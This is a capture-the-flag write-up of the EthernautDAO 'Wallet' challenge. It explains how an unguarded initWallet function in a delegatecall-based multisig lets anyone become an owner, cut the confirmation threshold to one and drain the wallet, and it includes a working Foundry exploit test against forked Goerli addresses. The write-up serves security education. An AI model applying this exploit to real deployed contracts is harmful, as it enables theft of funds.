EthernautDAO CTF —Wallet Solution

CTF 2: Wallet

Study the contracts

Proxy Pattern

delegatecall

The flow

constructor(
address _walletLibrary,
address[] memory _owners,
uint256 _numConfirmationsRequired
) {
walletLibrary = _walletLibrary;
(bool success, ) = _walletLibrary.delegatecall(
abi.encodeWithSignature("initWallet(address[],uint256)", _owners, _numConfirmationsRequired)
);
require(success, "initWallet failed");
}
  • submitTransaction to propose a transaction
  • confirmTransaction to confirm a proposed transaction. At least numConfirmationsRequired confirmations are needed to be able to execute the transaction
  • revokeConfirmation to revoke a confirmation to a transaction
  • executeTransaction to execute a transaction that has at least numConfirmationsRequired confirmations

initWallet function

function initWallet(address[] memory _owners, uint256 _numConfirmationsRequired) public {
// console.log("initWallet", _numConfirmationsRequired);
require(_owners.length > 0, "owners required");
require(
_numConfirmationsRequired > 0 && _numConfirmationsRequired <= _owners.length,
"invalid number of confirmations"
);
for (uint256 i = 0; i < _owners.length; i++) {
address owner = _owners[i];
require(owner != address(0), "invalid owner");
require(!isOwner[owner], "owner not unique");
isOwner[owner] = true;
owners.push(owner);
}
numConfirmationsRequired = _numConfirmationsRequired;
}
  • check that at least one owner for the wallet is provided
  • the _numConfirmationsRequired required to confirm a transaction is lower or equal to the number of _owners provided otherwise the logic would stop to work. You would not be able to execute a transaction if the number of the confirmations needed are higher of the number of addresses that can confirm
  • check that each owner is not the address(0) and that they are unique
  • set up the onwers array and the isOwner mapping
  • add myself to the list of the owners
  • set numConfirmationsRequired to 1 so only one confirmation is needed to execute a transaction
  • create a transaction to transfer the wallet ETH funds (or transfer ERC20/ERC1155/ERC721 tokens)
  • confirm it
  • execute it

Solution code

  • Create an Alchemy or Infura account to be able to fork the Goerli blockchain
  • Choose a good block from which we can create a fork. Any block after the creation of the contract will be good
  • Run a foundry test that will use the fork to execute the test
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.13;
import "./utils/BaseTest.sol";
import "src/Wallet.sol";
import "src/WalletLibrary.sol";
contract WalletTest is BaseTest {
Wallet private wallet;
WalletLibrary private walletLibrary;
constructor() {
string[] memory userLabels = new string[](2);
userLabels[0] = "Alice";
userLabels[1] = "Bob";
preSetUp(2, 100 ether, userLabels);
}
function setUp() public override {
// Call the BaseTest setUp() function that will also create testsing accounts
super.setUp();
// Attach the contract to the addresses on the fork
wallet = Wallet(payable(0x19c80e4Ec00fAAA6Ca3B41B17B75f7b0F4D64CB7));
walletLibrary = WalletLibrary(payable(0x43FF315d0003365fe1246344115A3142b9EBfe0b));
vm.label(address(wallet), "Wallet");
vm.label(address(walletLibrary), "WalletLibrary");
// We are funding the Wallet contract with 1 wei just to test the transaction that will allow us to withdraw from it!
vm.deal(address(wallet), 1);
}
function testTakeOwnership() public {
address player = users[0];
vm.startPrank(player);
// prepare the attack
address[] memory owners = new address[](1);
owners[0] = player;
// call the `wallet.fallback` function passing the correct data to make it make a
// delegatecall to walletLibrary that will execute initWallet on Wallet's context
// initWallet should be protected by a flag that check if the contract has been initialized or not
// like require(owners.length == 0)
// by doing so we have been added to the list of owners
// but we can execute any transaction we want because we have lowered the amount of needed confirmation request
// required to only 1
(bool success, ) = address(wallet).call(abi.encodeWithSignature("initWallet(address[],uint256)", owners, 1));
assertEq(success, true);
assertEq(wallet.numConfirmationsRequired(), 1);
assertEq(wallet.owners(3), player);
// Now I'm one of the owners and because numConfirmationsRequired = 1 I can execute tx
// Let's create a transaction.
(success, ) = address(wallet).call(
abi.encodeWithSignature("submitTransaction(address,uint256,bytes)", player, 1, "")
);
assertEq(success, true);
// Confirm the transaction we just created
// At the moment of the creation of our transaction the transaction array was empty
// So our txIndex is 0
uint256 txIndex = 0;
(success, ) = address(wallet).call(abi.encodeWithSignature("confirmTransaction(uint256)", txIndex));
assertEq(success, true);
// Execute the transaction
uint256 playerBalanceBefore = player.balance;
(success, ) = address(wallet).call(abi.encodeWithSignature("executeTransaction(uint256)", txIndex));
assertEq(success, true);
// Assert that we have received 1 wei from the Wallet contract
assertEq(playerBalanceBefore + 1, player.balance);
vm.stopPrank();
}
}

Further reading

Disclaimer

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
StErMi

StErMi

#web3 dev + auditor | @SpearbitDAO security researcher, @yAcademyDAO resident auditor, @developer_dao #459, @TheSecureum bootcamp-0, @code4rena warden